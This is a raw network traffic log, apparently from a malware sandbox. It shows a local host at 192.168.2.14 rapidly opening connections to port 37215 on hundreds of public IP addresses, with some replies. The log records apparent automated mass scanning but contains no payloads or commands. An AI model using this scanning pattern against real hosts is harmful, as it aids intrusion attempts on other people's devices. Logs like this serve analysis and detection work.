Jul 20, 2024 23:01:02.350106955 CEST	37215	60422	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:02.350141048 CEST	60422	37215	192.168.2.14	157.250.180.168
Jul 20, 2024 23:01:02.350243092 CEST	57698	37215	192.168.2.14	157.177.125.202
Jul 20, 2024 23:01:02.350636959 CEST	37215	45326	41.156.215.126	192.168.2.14
Jul 20, 2024 23:01:02.352011919 CEST	37215	57400	116.213.32.189	192.168.2.14
Jul 20, 2024 23:01:02.352150917 CEST	57400	37215	192.168.2.14	116.213.32.189
Jul 20, 2024 23:01:02.352247953 CEST	44708	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:02.354245901 CEST	45326	37215	192.168.2.14	41.156.215.126
Jul 20, 2024 23:01:02.354823112 CEST	37215	48024	197.62.166.112	192.168.2.14
Jul 20, 2024 23:01:02.354856968 CEST	48024	37215	192.168.2.14	197.62.166.112
Jul 20, 2024 23:01:02.355904102 CEST	37215	36104	157.31.140.76	192.168.2.14
Jul 20, 2024 23:01:02.356184006 CEST	42126	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:02.358059883 CEST	37215	44708	41.7.80.153	192.168.2.14
Jul 20, 2024 23:01:02.359539986 CEST	44708	37215	192.168.2.14	41.7.80.153
Jul 20, 2024 23:01:02.360400915 CEST	34370	37215	192.168.2.14	41.89.17.37
Jul 20, 2024 23:01:02.360580921 CEST	56944	37215	192.168.2.14	197.200.12.199
Jul 20, 2024 23:01:02.361440897 CEST	37215	42126	41.27.117.169	192.168.2.14
Jul 20, 2024 23:01:02.361479998 CEST	42126	37215	192.168.2.14	41.27.117.169
Jul 20, 2024 23:01:02.362246037 CEST	36104	37215	192.168.2.14	157.31.140.76
Jul 20, 2024 23:01:02.362257957 CEST	37215	38644	199.67.163.62	192.168.2.14
Jul 20, 2024 23:01:02.363120079 CEST	46822	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:02.365468979 CEST	37215	34370	41.89.17.37	192.168.2.14
Jul 20, 2024 23:01:02.365504026 CEST	34370	37215	192.168.2.14	41.89.17.37
Jul 20, 2024 23:01:02.365787983 CEST	37215	56944	197.200.12.199	192.168.2.14
Jul 20, 2024 23:01:02.365835905 CEST	56944	37215	192.168.2.14	197.200.12.199
Jul 20, 2024 23:01:02.366044998 CEST	55584	37215	192.168.2.14	197.102.177.131
Jul 20, 2024 23:01:02.368527889 CEST	37215	46822	81.216.201.21	192.168.2.14
Jul 20, 2024 23:01:02.368705034 CEST	44176	37215	192.168.2.14	157.11.29.10
Jul 20, 2024 23:01:02.368901014 CEST	46822	37215	192.168.2.14	81.216.201.21
Jul 20, 2024 23:01:02.370239973 CEST	38644	37215	192.168.2.14	199.67.163.62
Jul 20, 2024 23:01:02.371090889 CEST	37215	55584	197.102.177.131	192.168.2.14
Jul 20, 2024 23:01:02.371125937 CEST	55584	37215	192.168.2.14	197.102.177.131
Jul 20, 2024 23:01:02.371460915 CEST	59758	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:02.372045994 CEST	37215	53338	37.3.189.109	192.168.2.14
Jul 20, 2024 23:01:02.374206066 CEST	37215	44176	157.11.29.10	192.168.2.14
Jul 20, 2024 23:01:02.374325037 CEST	44176	37215	192.168.2.14	157.11.29.10
Jul 20, 2024 23:01:02.374588966 CEST	37215	35314	157.75.252.43	192.168.2.14
Jul 20, 2024 23:01:02.375000000 CEST	37866	37215	192.168.2.14	161.127.78.197
Jul 20, 2024 23:01:02.375000000 CEST	53338	37215	192.168.2.14	37.3.189.109
Jul 20, 2024 23:01:02.376359940 CEST	49206	37215	192.168.2.14	41.239.228.171
Jul 20, 2024 23:01:02.377420902 CEST	37215	59758	157.59.236.255	192.168.2.14
Jul 20, 2024 23:01:02.378247023 CEST	35314	37215	192.168.2.14	157.75.252.43
Jul 20, 2024 23:01:02.378417015 CEST	59758	37215	192.168.2.14	157.59.236.255
Jul 20, 2024 23:01:02.378813028 CEST	37215	56210	41.10.15.208	192.168.2.14
Jul 20, 2024 23:01:02.380609035 CEST	37215	37866	161.127.78.197	192.168.2.14
Jul 20, 2024 23:01:02.380728006 CEST	37866	37215	192.168.2.14	161.127.78.197
Jul 20, 2024 23:01:02.381092072 CEST	37215	53680	157.220.26.182	192.168.2.14
Jul 20, 2024 23:01:02.381778002 CEST	37215	50604	199.150.19.53	192.168.2.14
Jul 20, 2024 23:01:02.381787062 CEST	37215	49206	41.239.228.171	192.168.2.14
Jul 20, 2024 23:01:02.381817102 CEST	49206	37215	192.168.2.14	41.239.228.171
Jul 20, 2024 23:01:02.384435892 CEST	37215	33058	197.88.129.45	192.168.2.14
Jul 20, 2024 23:01:02.386244059 CEST	56210	37215	192.168.2.14	41.10.15.208
Jul 20, 2024 23:01:02.386265993 CEST	53680	37215	192.168.2.14	157.220.26.182
Jul 20, 2024 23:01:02.386663914 CEST	33058	37215	192.168.2.14	197.88.129.45
Jul 20, 2024 23:01:02.386929035 CEST	50604	37215	192.168.2.14	199.150.19.53
Jul 20, 2024 23:01:02.387325048 CEST	37215	57302	41.233.169.62	192.168.2.14
Jul 20, 2024 23:01:02.390278101 CEST	57302	37215	192.168.2.14	41.233.169.62
Jul 20, 2024 23:01:02.391700983 CEST	52714	37215	192.168.2.14	181.36.87.26
Jul 20, 2024 23:01:02.393872023 CEST	52725	37215	192.168.2.14	157.208.195.13
Jul 20, 2024 23:01:02.393893003 CEST	52725	37215	192.168.2.14	157.191.12.196
Jul 20, 2024 23:01:02.393924952 CEST	52725	37215	192.168.2.14	167.57.229.247
Jul 20, 2024 23:01:02.393963099 CEST	52725	37215	192.168.2.14	197.177.30.83
Jul 20, 2024 23:01:02.393980026 CEST	52725	37215	192.168.2.14	197.0.129.183
Jul 20, 2024 23:01:02.393980026 CEST	52725	37215	192.168.2.14	157.242.15.198
Jul 20, 2024 23:01:02.393980026 CEST	52725	37215	192.168.2.14	87.14.10.133
Jul 20, 2024 23:01:02.393986940 CEST	52725	37215	192.168.2.14	212.27.70.118
Jul 20, 2024 23:01:02.394040108 CEST	52725	37215	192.168.2.14	196.34.155.64
Jul 20, 2024 23:01:02.394041061 CEST	52725	37215	192.168.2.14	197.195.70.109
Jul 20, 2024 23:01:02.394074917 CEST	52725	37215	192.168.2.14	197.244.153.243
Jul 20, 2024 23:01:02.394074917 CEST	52725	37215	192.168.2.14	157.170.112.210
Jul 20, 2024 23:01:02.394157887 CEST	52725	37215	192.168.2.14	48.225.249.251
Jul 20, 2024 23:01:02.394201994 CEST	52725	37215	192.168.2.14	197.46.21.158
Jul 20, 2024 23:01:02.394215107 CEST	52725	37215	192.168.2.14	41.232.88.120
Jul 20, 2024 23:01:02.394289017 CEST	52725	37215	192.168.2.14	216.73.195.238
Jul 20, 2024 23:01:02.394319057 CEST	52725	37215	192.168.2.14	197.56.115.99
Jul 20, 2024 23:01:02.394319057 CEST	52725	37215	192.168.2.14	86.113.95.165
Jul 20, 2024 23:01:02.394407988 CEST	52725	37215	192.168.2.14	41.24.242.63
Jul 20, 2024 23:01:02.394407988 CEST	52725	37215	192.168.2.14	41.140.17.68
Jul 20, 2024 23:01:02.394418001 CEST	52725	37215	192.168.2.14	197.56.82.195
Jul 20, 2024 23:01:02.394418001 CEST	52725	37215	192.168.2.14	41.27.223.199
Jul 20, 2024 23:01:02.394465923 CEST	52725	37215	192.168.2.14	219.174.214.231
Jul 20, 2024 23:01:02.394520998 CEST	52725	37215	192.168.2.14	43.34.138.0
Jul 20, 2024 23:01:02.394520998 CEST	52725	37215	192.168.2.14	176.114.103.108
Jul 20, 2024 23:01:02.394654036 CEST	52725	37215	192.168.2.14	41.81.211.115
Jul 20, 2024 23:01:02.394654036 CEST	52725	37215	192.168.2.14	41.195.148.103
Jul 20, 2024 23:01:02.394654036 CEST	52725	37215	192.168.2.14	41.199.102.153
Jul 20, 2024 23:01:02.394654036 CEST	52725	37215	192.168.2.14	157.252.75.53
Jul 20, 2024 23:01:02.394663095 CEST	52725	37215	192.168.2.14	197.5.89.138
Jul 20, 2024 23:01:02.394663095 CEST	52725	37215	192.168.2.14	41.213.202.201
Jul 20, 2024 23:01:02.394665003 CEST	52725	37215	192.168.2.14	41.147.149.27
Jul 20, 2024 23:01:02.394663095 CEST	52725	37215	192.168.2.14	41.14.13.182
Jul 20, 2024 23:01:02.394663095 CEST	52725	37215	192.168.2.14	197.157.13.45
Jul 20, 2024 23:01:02.394663095 CEST	52725	37215	192.168.2.14	197.174.253.199
Jul 20, 2024 23:01:02.394699097 CEST	52725	37215	192.168.2.14	157.52.253.37
Jul 20, 2024 23:01:02.394814014 CEST	52725	37215	192.168.2.14	41.187.218.106
Jul 20, 2024 23:01:02.394886017 CEST	52725	37215	192.168.2.14	41.198.184.12
Jul 20, 2024 23:01:02.394906998 CEST	52725	37215	192.168.2.14	157.178.42.91
Jul 20, 2024 23:01:02.394929886 CEST	52725	37215	192.168.2.14	126.17.19.109
Jul 20, 2024 23:01:02.394984007 CEST	52725	37215	192.168.2.14	8.118.197.202
Jul 20, 2024 23:01:02.395088911 CEST	52725	37215	192.168.2.14	197.45.199.194
Jul 20, 2024 23:01:02.395088911 CEST	52725	37215	192.168.2.14	197.242.166.123
Jul 20, 2024 23:01:02.395088911 CEST	52725	37215	192.168.2.14	180.27.153.103
Jul 20, 2024 23:01:02.395108938 CEST	52725	37215	192.168.2.14	129.142.76.229
Jul 20, 2024 23:01:02.395173073 CEST	52725	37215	192.168.2.14	41.149.76.132
Jul 20, 2024 23:01:02.395207882 CEST	52725	37215	192.168.2.14	157.187.132.93
Jul 20, 2024 23:01:02.395207882 CEST	52725	37215	192.168.2.14	118.49.211.210
Jul 20, 2024 23:01:02.395207882 CEST	52725	37215	192.168.2.14	157.82.164.209
Jul 20, 2024 23:01:02.395241976 CEST	52725	37215	192.168.2.14	197.30.133.252
Jul 20, 2024 23:01:02.395241976 CEST	52725	37215	192.168.2.14	157.32.14.122
Jul 20, 2024 23:01:02.395241976 CEST	52725	37215	192.168.2.14	88.9.188.43
Jul 20, 2024 23:01:02.395279884 CEST	52725	37215	192.168.2.14	157.230.77.27
Jul 20, 2024 23:01:02.395303011 CEST	52725	37215	192.168.2.14	157.141.71.177
Jul 20, 2024 23:01:02.395392895 CEST	52725	37215	192.168.2.14	197.229.109.3
Jul 20, 2024 23:01:02.395457029 CEST	52725	37215	192.168.2.14	41.186.30.205
Jul 20, 2024 23:01:02.395457029 CEST	52725	37215	192.168.2.14	41.238.44.178
Jul 20, 2024 23:01:02.395457029 CEST	52725	37215	192.168.2.14	151.197.134.207
Jul 20, 2024 23:01:02.395457029 CEST	52725	37215	192.168.2.14	197.168.11.122
Jul 20, 2024 23:01:02.395457029 CEST	52725	37215	192.168.2.14	170.66.134.245
Jul 20, 2024 23:01:02.395457029 CEST	52725	37215	192.168.2.14	157.4.170.52
Jul 20, 2024 23:01:02.395555019 CEST	52725	37215	192.168.2.14	157.169.65.159
Jul 20, 2024 23:01:02.395572901 CEST	52725	37215	192.168.2.14	41.25.73.93
Jul 20, 2024 23:01:02.395572901 CEST	52725	37215	192.168.2.14	157.245.179.116
Jul 20, 2024 23:01:02.395572901 CEST	52725	37215	192.168.2.14	41.144.233.165
Jul 20, 2024 23:01:02.395642042 CEST	52725	37215	192.168.2.14	62.25.96.172
Jul 20, 2024 23:01:02.395642042 CEST	52725	37215	192.168.2.14	172.59.101.132
Jul 20, 2024 23:01:02.395853043 CEST	52725	37215	192.168.2.14	197.158.239.127
Jul 20, 2024 23:01:02.395853043 CEST	52725	37215	192.168.2.14	217.86.234.31
Jul 20, 2024 23:01:02.395853043 CEST	52725	37215	192.168.2.14	175.119.202.26
Jul 20, 2024 23:01:02.395853043 CEST	52725	37215	192.168.2.14	157.99.69.115
Jul 20, 2024 23:01:02.395853043 CEST	52725	37215	192.168.2.14	41.98.170.100
Jul 20, 2024 23:01:02.395853043 CEST	52725	37215	192.168.2.14	197.206.32.222
Jul 20, 2024 23:01:02.395853996 CEST	52725	37215	192.168.2.14	41.245.49.174
Jul 20, 2024 23:01:02.395853996 CEST	52725	37215	192.168.2.14	197.0.176.130
Jul 20, 2024 23:01:02.395925999 CEST	52725	37215	192.168.2.14	157.223.40.21
Jul 20, 2024 23:01:02.395925999 CEST	52725	37215	192.168.2.14	197.197.194.149
Jul 20, 2024 23:01:02.395925999 CEST	52725	37215	192.168.2.14	157.78.106.151
Jul 20, 2024 23:01:02.395925999 CEST	52725	37215	192.168.2.14	69.124.184.148
Jul 20, 2024 23:01:02.395925999 CEST	52725	37215	192.168.2.14	157.241.176.154
Jul 20, 2024 23:01:02.396084070 CEST	52725	37215	192.168.2.14	197.185.69.29
Jul 20, 2024 23:01:02.396084070 CEST	52725	37215	192.168.2.14	197.149.175.198
Jul 20, 2024 23:01:02.396084070 CEST	52725	37215	192.168.2.14	157.65.139.187
Jul 20, 2024 23:01:02.396084070 CEST	52725	37215	192.168.2.14	41.167.99.23
Jul 20, 2024 23:01:02.396117926 CEST	52725	37215	192.168.2.14	197.149.52.119
Jul 20, 2024 23:01:02.396117926 CEST	52725	37215	192.168.2.14	41.221.243.82
Jul 20, 2024 23:01:02.396117926 CEST	52725	37215	192.168.2.14	157.51.153.147
Jul 20, 2024 23:01:02.396212101 CEST	52725	37215	192.168.2.14	157.19.244.39
Jul 20, 2024 23:01:02.396646976 CEST	52725	37215	192.168.2.14	197.241.151.243
Jul 20, 2024 23:01:02.396646976 CEST	52725	37215	192.168.2.14	157.117.167.27
Jul 20, 2024 23:01:02.396646976 CEST	52725	37215	192.168.2.14	138.115.6.195
Jul 20, 2024 23:01:02.396646976 CEST	52725	37215	192.168.2.14	58.231.198.55
Jul 20, 2024 23:01:02.396749020 CEST	52725	37215	192.168.2.14	157.241.156.251
Jul 20, 2024 23:01:02.396749973 CEST	52725	37215	192.168.2.14	135.250.246.47
Jul 20, 2024 23:01:02.396749973 CEST	52725	37215	192.168.2.14	157.171.76.183
Jul 20, 2024 23:01:02.396749973 CEST	52725	37215	192.168.2.14	41.231.8.58
Jul 20, 2024 23:01:02.396749973 CEST	52725	37215	192.168.2.14	157.98.149.237
Jul 20, 2024 23:01:02.396749973 CEST	52725	37215	192.168.2.14	41.199.163.233
Jul 20, 2024 23:01:02.396749973 CEST	52725	37215	192.168.2.14	221.247.42.117
Jul 20, 2024 23:01:02.396821022 CEST	37215	52714	181.36.87.26	192.168.2.14
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	197.222.22.167
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	197.206.250.3
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	157.123.145.53
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	41.51.11.183
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	157.167.4.217
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	41.69.19.5
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	92.18.247.90
Jul 20, 2024 23:01:02.396830082 CEST	52725	37215	192.168.2.14	197.234.196.142
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	197.231.210.130
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	157.188.48.202
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	157.197.156.233
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	197.78.87.224
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	157.224.215.213
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	157.149.99.72
Jul 20, 2024 23:01:02.396908045 CEST	52725	37215	192.168.2.14	133.119.75.61
Jul 20, 2024 23:01:02.397356987 CEST	52725	37215	192.168.2.14	41.206.32.108
Jul 20, 2024 23:01:02.397357941 CEST	52725	37215	192.168.2.14	157.121.101.253
Jul 20, 2024 23:01:02.397357941 CEST	52725	37215	192.168.2.14	157.1.8.135
Jul 20, 2024 23:01:02.397357941 CEST	52725	37215	192.168.2.14	50.90.6.51
Jul 20, 2024 23:01:02.397357941 CEST	52725	37215	192.168.2.14	197.139.122.58
Jul 20, 2024 23:01:02.397357941 CEST	52725	37215	192.168.2.14	197.102.151.253
Jul 20, 2024 23:01:02.397403002 CEST	52725	37215	192.168.2.14	197.157.176.214
Jul 20, 2024 23:01:02.397403002 CEST	52725	37215	192.168.2.14	219.6.124.212
Jul 20, 2024 23:01:02.397403002 CEST	52725	37215	192.168.2.14	197.146.102.184
Jul 20, 2024 23:01:02.397403002 CEST	52725	37215	192.168.2.14	155.169.12.22
Jul 20, 2024 23:01:02.397403002 CEST	52725	37215	192.168.2.14	157.122.28.85
Jul 20, 2024 23:01:02.397949934 CEST	52725	37215	192.168.2.14	197.104.141.66
Jul 20, 2024 23:01:02.397949934 CEST	52725	37215	192.168.2.14	41.103.0.121
Jul 20, 2024 23:01:02.397949934 CEST	52725	37215	192.168.2.14	41.87.136.255
Jul 20, 2024 23:01:02.397949934 CEST	52725	37215	192.168.2.14	157.203.242.109
Jul 20, 2024 23:01:02.397949934 CEST	52725	37215	192.168.2.14	41.111.57.220
Jul 20, 2024 23:01:02.397949934 CEST	52725	37215	192.168.2.14	12.24.74.51
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	41.198.110.22
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	41.106.183.40
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	157.160.201.26
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	197.22.8.216
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	41.217.62.165
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	41.249.57.105
Jul 20, 2024 23:01:02.398530006 CEST	52725	37215	192.168.2.14	41.26.154.100
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	197.52.245.201
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	157.75.130.79
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	157.95.62.138
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	197.82.179.101
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	41.204.121.21
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	197.210.215.254
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	112.110.243.55
Jul 20, 2024 23:01:02.398668051 CEST	52725	37215	192.168.2.14	116.110.202.131
Jul 20, 2024 23:01:02.398840904 CEST	52725	37215	192.168.2.14	157.16.28.50
Jul 20, 2024 23:01:02.398840904 CEST	52714	37215	192.168.2.14	181.36.87.26
Jul 20, 2024 23:01:02.398840904 CEST	52725	37215	192.168.2.14	41.137.26.226
Jul 20, 2024 23:01:02.398840904 CEST	52725	37215	192.168.2.14	157.190.44.7
Jul 20, 2024 23:01:02.398840904 CEST	52725	37215	192.168.2.14	157.164.130.24
Jul 20, 2024 23:01:02.398840904 CEST	52725	37215	192.168.2.14	64.35.92.17
Jul 20, 2024 23:01:02.398840904 CEST	52725	37215	192.168.2.14	157.210.109.3
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	41.239.45.81
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	13.83.123.25
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	197.118.205.237
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	157.198.226.28
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	34.218.97.3
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	47.134.94.152
Jul 20, 2024 23:01:02.398893118 CEST	52725	37215	192.168.2.14	157.53.249.76
Jul 20, 2024 23:01:02.399169922 CEST	37215	57848	139.212.201.39	192.168.2.14
Jul 20, 2024 23:01:02.399446011 CEST	52725	37215	192.168.2.14	197.113.49.33
Jul 20, 2024 23:01:02.399446011 CEST	52725	37215	192.168.2.14	157.156.242.108
Jul 20, 2024 23:01:02.399446011 CEST	52725	37215	192.168.2.14	157.96.118.173
Jul 20, 2024 23:01:02.399446011 CEST	52725	37215	192.168.2.14	107.171.134.163
Jul 20, 2024 23:01:02.399446011 CEST	52725	37215	192.168.2.14	197.251.126.252
Jul 20, 2024 23:01:02.399446011 CEST	52725	37215	192.168.2.14	41.105.21.59
Jul 20, 2024 23:01:02.399594069 CEST	37215	52725	157.208.195.13	192.168.2.14
Jul 20, 2024 23:01:02.399605036 CEST	37215	52725	157.191.12.196	192.168.2.14
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	197.4.240.168
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	197.146.200.62
Jul 20, 2024 23:01:02.399740934 CEST	37215	52725	167.57.229.247	192.168.2.14
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	41.66.67.87
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	197.75.167.51
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	157.245.131.253
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	157.166.225.41
Jul 20, 2024 23:01:02.399739981 CEST	52725	37215	192.168.2.14	121.80.182.165
Jul 20, 2024 23:01:02.399749041 CEST	37215	52725	197.177.30.83	192.168.2.14
Jul 20, 2024 23:01:02.399759054 CEST	37215	52725	197.0.129.183	192.168.2.14
Jul 20, 2024 23:01:02.399768114 CEST	37215	52725	197.195.70.109	192.168.2.14
Jul 20, 2024 23:01:02.399776936 CEST	37215	52725	157.242.15.198	192.168.2.14
Jul 20, 2024 23:01:02.399785995 CEST	37215	52725	48.225.249.251	192.168.2.14
Jul 20, 2024 23:01:02.399795055 CEST	37215	52725	197.244.153.243	192.168.2.14
Jul 20, 2024 23:01:02.399802923 CEST	37215	52725	196.34.155.64	192.168.2.14
Jul 20, 2024 23:01:02.399811983 CEST	37215	52725	87.14.10.133	192.168.2.14
Jul 20, 2024 23:01:02.399822950 CEST	37215	52725	216.73.195.238	192.168.2.14
Jul 20, 2024 23:01:02.399852991 CEST	37215	52725	157.170.112.210	192.168.2.14
Jul 20, 2024 23:01:02.399862051 CEST	37215	52725	197.56.115.99	192.168.2.14
Jul 20, 2024 23:01:02.399871111 CEST	37215	52725	197.46.21.158	192.168.2.14
Jul 20, 2024 23:01:02.399878979 CEST	37215	52725	41.232.88.120	192.168.2.14
Jul 20, 2024 23:01:02.399888992 CEST	37215	52725	41.24.242.63	192.168.2.14
Jul 20, 2024 23:01:02.399898052 CEST	37215	52725	86.113.95.165	192.168.2.14
Jul 20, 2024 23:01:02.399907112 CEST	37215	52725	219.174.214.231	192.168.2.14
Jul 20, 2024 23:01:02.399915934 CEST	37215	52725	212.27.70.118	192.168.2.14
Jul 20, 2024 23:01:02.399934053 CEST	37215	52725	197.56.82.195	192.168.2.14
Jul 20, 2024 23:01:02.399943113 CEST	37215	52725	43.34.138.0	192.168.2.14
Jul 20, 2024 23:01:02.399951935 CEST	37215	52725	41.81.211.115	192.168.2.14
Jul 20, 2024 23:01:02.399960041 CEST	37215	52725	41.27.223.199	192.168.2.14
Jul 20, 2024 23:01:02.400293112 CEST	37215	52725	41.195.148.103	192.168.2.14
Jul 20, 2024 23:01:02.400301933 CEST	37215	52725	41.187.218.106	192.168.2.14
Jul 20, 2024 23:01:02.400310993 CEST	37215	52725	41.147.149.27	192.168.2.14
Jul 20, 2024 23:01:02.400332928 CEST	37215	52725	157.52.253.37	192.168.2.14
Jul 20, 2024 23:01:02.400348902 CEST	37215	52725	41.199.102.153	192.168.2.14
Jul 20, 2024 23:01:02.400360107 CEST	37215	52725	126.17.19.109	192.168.2.14
Jul 20, 2024 23:01:02.400368929 CEST	37215	52725	197.5.89.138	192.168.2.14
Jul 20, 2024 23:01:02.400377989 CEST	37215	52725	176.114.103.108	192.168.2.14
Jul 20, 2024 23:01:02.400388002 CEST	37215	52725	41.213.202.201	192.168.2.14
Jul 20, 2024 23:01:02.400397062 CEST	37215	52725	8.118.197.202	192.168.2.14
Jul 20, 2024 23:01:02.400418997 CEST	37215	52725	157.178.42.91	192.168.2.14
Jul 20, 2024 23:01:02.400439024 CEST	37215	52725	157.252.75.53	192.168.2.14
Jul 20, 2024 23:01:02.400446892 CEST	37215	52725	41.149.76.132	192.168.2.14
Jul 20, 2024 23:01:02.400455952 CEST	37215	52725	129.142.76.229	192.168.2.14
Jul 20, 2024 23:01:02.400465012 CEST	37215	52725	41.198.184.12	192.168.2.14
Jul 20, 2024 23:01:02.400474072 CEST	37215	52725	197.30.133.252	192.168.2.14
Jul 20, 2024 23:01:02.400487900 CEST	37215	52725	157.141.71.177	192.168.2.14
Jul 20, 2024 23:01:02.400511980 CEST	37215	52725	41.140.17.68	192.168.2.14
Jul 20, 2024 23:01:02.400521994 CEST	37215	52725	197.45.199.194	192.168.2.14
Jul 20, 2024 23:01:02.400531054 CEST	37215	52725	41.14.13.182	192.168.2.14
Jul 20, 2024 23:01:02.400540113 CEST	37215	52725	157.230.77.27	192.168.2.14
Jul 20, 2024 23:01:02.400548935 CEST	37215	52725	157.32.14.122	192.168.2.14
Jul 20, 2024 23:01:02.400650024 CEST	37215	52725	197.229.109.3	192.168.2.14
Jul 20, 2024 23:01:02.400660038 CEST	37215	52725	41.186.30.205	192.168.2.14
Jul 20, 2024 23:01:02.400677919 CEST	37215	52725	197.157.13.45	192.168.2.14
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	41.112.14.106
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	41.210.24.18
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	140.96.173.119
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	157.32.252.178
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	209.147.0.63
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	41.219.211.143
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	197.122.8.238
Jul 20, 2024 23:01:02.400813103 CEST	52725	37215	192.168.2.14	197.247.207.133
Jul 20, 2024 23:01:02.400871992 CEST	52725	37215	192.168.2.14	126.13.156.235
Jul 20, 2024 23:01:02.400871992 CEST	52725	37215	192.168.2.14	157.184.99.175
Jul 20, 2024 23:01:02.400871992 CEST	52725	37215	192.168.2.14	157.133.233.222
Jul 20, 2024 23:01:02.400871992 CEST	52725	37215	192.168.2.14	157.208.195.13
Jul 20, 2024 23:01:02.400871992 CEST	52725	37215	192.168.2.14	212.27.70.118
Jul 20, 2024 23:01:02.400872946 CEST	52725	37215	192.168.2.14	41.81.211.115
Jul 20, 2024 23:01:02.400872946 CEST	44016	37215	192.168.2.14	24.34.240.214
Jul 20, 2024 23:01:02.400872946 CEST	52725	37215	192.168.2.14	41.195.148.103
Jul 20, 2024 23:01:02.400895119 CEST	37215	52725	197.242.166.123	192.168.2.14
Jul 20, 2024 23:01:02.400903940 CEST	37215	52725	41.238.44.178	192.168.2.14
Jul 20, 2024 23:01:02.400913000 CEST	37215	52725	197.174.253.199	192.168.2.14
Jul 20, 2024 23:01:02.400921106 CEST	37215	52725	151.197.134.207	192.168.2.14
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	157.151.202.40
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	197.63.207.126
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	41.72.137.242
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	73.223.32.61
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	41.151.103.91
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	197.236.223.188
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	147.236.229.234
Jul 20, 2024 23:01:02.400955915 CEST	52725	37215	192.168.2.14	197.132.38.147
Jul 20, 2024 23:01:02.401041031 CEST	37215	52725	180.27.153.103	192.168.2.14
Jul 20, 2024 23:01:02.401050091 CEST	37215	52725	41.25.73.93	192.168.2.14
Jul 20, 2024 23:01:02.401058912 CEST	37215	52725	157.187.132.93	192.168.2.14
Jul 20, 2024 23:01:02.401067019 CEST	37215	52725	157.245.179.116	192.168.2.14
Jul 20, 2024 23:01:02.401165009 CEST	37215	52725	88.9.188.43	192.168.2.14
Jul 20, 2024 23:01:02.401174068 CEST	37215	52725	157.169.65.159	192.168.2.14
Jul 20, 2024 23:01:02.401182890 CEST	37215	52725	62.25.96.172	192.168.2.14
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	73.101.89.21
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	206.124.130.94
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	197.177.30.83
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	197.244.153.243
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	157.170.112.210
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	197.56.82.195
Jul 20, 2024 23:01:02.401185036 CEST	52725	37215	192.168.2.14	41.27.223.199
Jul 20, 2024 23:01:02.401458979 CEST	37215	52725	118.49.211.210	192.168.2.14
Jul 20, 2024 23:01:02.401468039 CEST	37215	52725	172.59.101.132	192.168.2.14
